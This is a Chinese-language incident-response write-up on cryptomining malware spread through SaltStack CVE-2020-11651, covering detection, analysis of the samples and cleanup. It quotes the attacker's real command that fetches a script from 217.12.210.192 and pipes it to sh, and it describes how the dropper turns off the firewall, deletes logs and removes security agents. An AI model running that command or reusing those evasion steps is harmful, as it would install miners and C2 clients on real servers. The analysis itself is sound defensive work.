SaltStack漏洞导致的挖矿排查思路
描述
SaltStack是一套C/S架构的运维工具,服务端口默认为4505/4506,两个端口如果对外网开放危害非常大,黑客利用SaltStack的远程命令执行漏洞CVE-2020-11651可以直接绕过Salt-Master的认证机制,调用相关函数向Salt-Minion下发指令执行系统命令,最终导致挖矿。
现象
受害Salt-Minion机器上存在挖矿进程salt-minions。

tmp目录下存在可疑二进制文件:
salt-storesalt-minions
排查
- 确定所有
salt-master机器列表; - 查看当天
salt-master的日志文件/var/log/salt/minion,是否存在可疑命令执行,筛选cmdmod:

- 找到可疑的命令执行内容:
(curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh
- 确认
SaltStack版本,是否存在漏洞CVE-2020-11651。
样本分析
共三个样本:
| 文件名 | MD5 |
|---|---|
| sa.sh | 204780df7dd946401d6e545a130689fb |
| salt-store | 8ec3385e20d6d9a88bc95831783beaeb |
| salt-minions | a28ded80d7ab5c69d6ccde4602eef861 |
sa.sh
这是黑客原始下载执行的脚本文件,salt-store从这里下载下载的。
该脚本执行后首先进行一些系统设置:关闭防火墙、设置ulimit、关闭防火墙、关闭watchdog告警,并且将系统syslog日志删除:

然后检测服务器上是否安装安骑士和云镜服务,有则将进程停止并下载对应的卸载脚本进行卸载操作:

之后通过netstat筛选服务器开启的端口和连接,将对应进程全部停止:

然后通过ps、pkill、pgrep、killall筛选进程名和参数,将其对应的进程杀掉,并且还会清理cpu资源占用超过10%的进程,保证有更多的硬件资源可以利用:


之后会清理/tmp、/etc/下其他挖矿进程的二进制文件:

该脚本还会清理docker运行的挖矿程序:

脚本最后会从远程下载恶意二进制文件salt-store到/tmp或/var/tmp下:

download2函数中会从bitbucket下载恶意二进制文件,如果失败会调用download3函数从217.12.210.192下载:

下载之后,将包含以下字段的计划任务删除,这一步可以将其他挖矿和一些HIDS服务的守护任务删掉:

salt-store
该文件是C2客户端,从控制端接收指令执行。
运行后该程序会释放矿机文件salt-minions到/tmp/下:

salt-store运行期间会和以下url进行http交互:

对该文件静态分析后,发现该程序具有如下功能,包括运行矿机、执行远端指令、端口扫描等:

从样本分析结果看,可以判定这是一个命令控制系统(C2)的客户端,程序运行之后主机会在远端上线,黑客可以登录远端给客户机下发指令启动挖矿程序。
salt-minions
由salt-store运行时释放。
该文件有明显的xmrig特征:

所以该文件是一个xmrig的矿机。
清理恢复
清理步骤
- 停止恶意进程:
kill -9 `pidof salt-store` && kill -9 `pidof salt-minions` - 删除恶意文件:
rm -rf /tmp/salt-* /var/tmp/salt-*
整改恢复
- 升级
SaltStack到最新版本,修补CVE-2020-11651漏洞,升级前建议做好快照备份措施,安全版本下载地址参考:https://repo.saltstack.com; - 设置
SaltStack为自动更新,及时获取相应补丁; - 将
Salt Master默认监听端口(默认4505和4506)设置为禁止对公网开放,或仅对可信对象开放,避免被黑客利用;
相关链接
SaltStack漏洞导致的挖矿排查思路的更多相关文章
- Linux入侵类问题排查思路
深入分析,查找入侵原因 一.检查隐藏帐户及弱口令 检查服务器系统及应用帐户是否存在 弱口令: 检查说明:检查管理员帐户.数据库帐户.MySQL 帐户.tomcat 帐户.网站后台管理员帐户等密码设置是 ...
- Mysql 高负载排查思路
Mysql 高负载排查思路 发现问题 top命令 查看服务器负载,发现 mysql竟然百分之两百的cpu,引起Mysql 负载这么高的原因,估计是索引问题和某些变态SQL语句. 排查思路 1. 确定高 ...
- 系统运行缓慢,CPU 100%,以及Full GC次数过多问题的排查思路
前言 处理过线上问题的同学基本上都会遇到系统突然运行缓慢,CPU 100%,以及Full GC次数过多的问题.当然,这些问题的最终导致的直观现象就是系统运行缓慢,并且有大量的报警. 本文主要针对系统运 ...
- Linux 服务器性能问题排查思路
一个基于 Linux 操作系统的服务器运行的同时,也会表征出各种各样参数信息.通常来说运维人员.系统管理员会对这些数据会极为敏感,但是这些参数对于开发者来说也十分重要,尤其当你的程序非正常工作的时候, ...
- MySql CPU彪高到百分之1000的排查思路
You need to enable JavaScript to run this app. 原文内容来自于LZ(楼主)的印象笔记,如出现排版异常或图片丢失等情况,可查看当前链接:https:// ...
- Flink on YARN(下):常见问题与排查思路
Flink 支持 Standalone 独立部署和 YARN.Kubernetes.Mesos 等集群部署模式,其中 YARN 集群部署模式在国内的应用越来越广泛.Flink 社区将推出 Flink ...
- 超长可视化指南!带你理清K8S部署的故障排查思路,让bug无处遁形
本文将帮助你厘清在Kubernetes中调试 deployment的思路.下图是完整的故障排查思路,如果你想获得更清晰的图片,请在公众号后台(RancherLabs)回复"troublesh ...
- FeignClient注解属性configuration不生效问题排查思路
FeignClient注解属性configuration不生效问题排查思路 问题背景 我们知道,"如果需要自定义单个Feign配置,Feign的@Configuration 注解的类不能与@ ...
- Dubbo No provider问题排查思路
本文已收录 https://github.com/lkxiaolou/lkxiaolou 欢迎star. 不想看字的同学可直接划到底部查看思维导图 问题分析 使用过Dubbo的朋友很多都碰到过如下报错 ...
随机推荐
- Jmeter常用元件
1.测试计划:测试元件的容器,相当于一个项目名称 线程组: 2.监听器:负责收集测试结果,同时也被告知了结果显示的方式 (1)查看结果树:看具体某个请求——请求响应,结果明细 (2)聚合报告:汇总报 ...
- 字典树&&AC自动机---看完大概应该懂了吧。。。。
目录 字典树 AC自动机 字典树 又称单词查找树,Trie树,是一种树形结构,是一种哈希树的变种.典型应用是用于统计,排序和保存大量的字符串(但不仅限于字符串),所以经常被搜索引擎系统用于文本词频统计 ...
- JNDI数据源的配置及使用 (2010-11-21 21:16:43)转载▼
JNDI数据源的配置及使用 (2010-11-21 21:16:43)转载▼ 标签: 杂谈 分类: 数据库 数据源的作用 JDBC操作的步骤: 1. 加载驱动程序 2. 连接数据库 3. 操作数据库 ...
- 将class 编译后文件内容输入到 文本文件中的命令
javap -c InnerTest$1 > InnerTest$1.txt
- SpringBoot事件监听机制源码分析(上) SpringBoot源码(九)
SpringBoot中文注释项目Github地址: https://github.com/yuanmabiji/spring-boot-2.1.0.RELEASE 本篇接 SpringApplicat ...
- Thinking in Java,Fourth Edition(Java 编程思想,第四版)学习笔记(十三)之Strings
Immutable Strings Objects of the String class are immutable. If you examine the JDK documentation fo ...
- VMware15 安装Mac 10.14系统/苹果系统
安装环境 Windows专业版 VMware Workstation Pro 15 所需资源 VMware Workstation Pro 15.0.0 Build 10134415 官网下载地址:h ...
- python列表简介
什么是列表?如何使用列表?https://docs.python.org/3/library/stdtypes.html#sequence-types-list-tuple-range 列表相关知识: ...
- 两种异常(CPU异常、用户模拟异常)的收集
Windows内核分析索引目录:https://www.cnblogs.com/onetrainee/p/11675224.html 两种异常(CPU异常.用户模拟异常)的收集 文章的核心:异常收集 ...
- HTTP 前世今生
HTTP 协议在我们身边随处可见,只要上网就离不开它.不论是用浏览器还是 App,不论是看新闻.短视频还是听音乐.玩游戏,后面总会有 HTTP 在默默为你服务. Http 协议是怎么来的?最开始是什么 ...